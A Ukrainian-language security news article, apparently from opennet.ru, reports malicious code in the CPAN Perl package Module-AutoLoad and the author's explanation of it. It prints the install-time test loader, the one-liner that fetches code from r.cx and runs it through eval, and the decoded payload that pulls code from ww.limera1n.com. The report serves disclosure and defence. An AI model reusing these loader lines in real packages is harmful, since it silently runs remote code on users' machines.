У Perl-пакеті Module-AutoLoad виявлено шкідливий код

У розповсюджуваному через каталог CPAN Perl-пакеті Module-AutoLoad, призначеному для автоматичного завантаження CPAN-модулів на льоту, виявлено шкідливий код. Шкідлива вставка була знайдено у коді тесту 05_rcx.t, який постачається з 2011 року.
Примітно, що питання завантаження сумнівного коду виникали на Stackoverflow ще у 2016 році.

Шкідлива активність зводиться до спроби завантаження та виконання коду зі стороннього сервера (http://r.cx:1/) у процесі виконання тестового набору, що запускається під час встановлення модуля. Передбачається, що код, що спочатку завантажувався із зовнішнього сервера, не був шкідливим, але тепер запит перенаправляється на домен ww.limera1n.com, що віддає свою порцію коду для виконання.

Для організації завантаження у файлі 05_rcx.t використовується наступний код:

my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

Вказаний код призводить до виконання скрипту ../contrib/RCX.pl, вміст якого зводиться до рядка:

use lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.»:1″};

Цей скрипт завантажує заплутаний за допомогою сервісу perlobfuscator.com код із зовнішнього хоста r.cx (коди символів 82.46.99.88 відповідають тексту «R.cX») та виконує його в блоці eval.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.»:1″; print <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Після розпакування в результаті виконується наступний код:

print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;evalor return warn$@while$b;1

В даний час проблемний пакет видалено зі сховища PAUSE (Perl Authors Upload Server), а обліковий запис автора модуля заблоковано. При цьому модуль поки що залишається доступний в архіві MetaCPAN і може бути встановлений безпосередньо з MetaCPAN за допомогою деяких утиліт, таких як cpanminus. відзначається, Що пакет не був широко поширений.

Цікаво, що до обговорення підключився і автор модуля, який спростував інформацію про те, що шкідливий код підставлено після зламування його сайту «r.cx» і пояснив, що він просто так розважався, а perlobfuscator.com використовував не для приховування чогось, а для скорочення розміру коду та спрощення його копіювання через буфер обміну. Вибір назви функції "botstrap" пояснюється тим, що це слово "звучить як bot і коротше, ніж bootstrap". Автор модуля також запевнив, що виявлені маніпуляції не роблять шкідливих дій, а лише демонструють завантаження та виконання коду з TCP.

Джерело: opennet.ru

Додати коментар або відгук